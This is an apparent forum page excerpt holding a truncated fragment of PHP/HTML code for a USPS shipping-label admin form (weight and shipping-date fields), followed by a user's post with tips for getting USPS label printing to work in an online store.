DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td align="left" bgcolor="#FFFFFF" height="20"><input type="text" name="shippingWeightInPounds" id="shippingWeightInPounds" style="width:50px" size="5" tabindex="26" value='1' maxlength="2"> <div style="display:none"><label for="weight_pounds">* Pounds</label></div> </td> <td align="left" class="smmainText"><span class="smmainText"> pounds</span></td> <td align="left" bgcolor="#FFFFFF" height="20"><input type="text" name="shippingWeightInOunces" id="shippingWeightInOunces" style="width:50px" size="5" tabindex="27" value='0' maxlength="2"> <div style="display:none"><label for="weight_ounces">* Ounces</label></div></td> <td align="left" class="smmainText"><span class="smmainText"> ounces</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> </tr> <tr> <td align="right" class="mainText"><span class="mainTextRed">* </span><span class="label">Shipping Date</span></td> <td><img src="<?php echo DIR_WS_ADMIN ?>images/uspsimages/spacer.gif" border="0" width="1" height="1" alt=""></td> <td colspan="4" align="left" bgcolor="#FFFFFF" class="mainText"> <select id="shipping_date" tabindex="28" name="shipping_date"> <option value='0'selected ><?php $today = mktime (0,0,0,date("m") ,date("d"),date("Y")); $today = date('l, F d, Y ',$today); echo $today ?></option> <option value='1' ><?php $tomorrow = mktime (0,0,0,date("m") ,date("d")
  24. tonymazz

    USPS Labels not working

    Try this, which works for me. Log in; follow the links that bring you to a fresh label page; then use the diffrentshipping.php page. Be sure you select "CREATE NEW LABEL" button if you want to print another label. Otherwise you would check out. I am using Firefox with good success. I have found if I do not select the "CREATE NEW LABEL" button, I get a label dropped and have to go back to re-enter the dropped one. Good luck...
×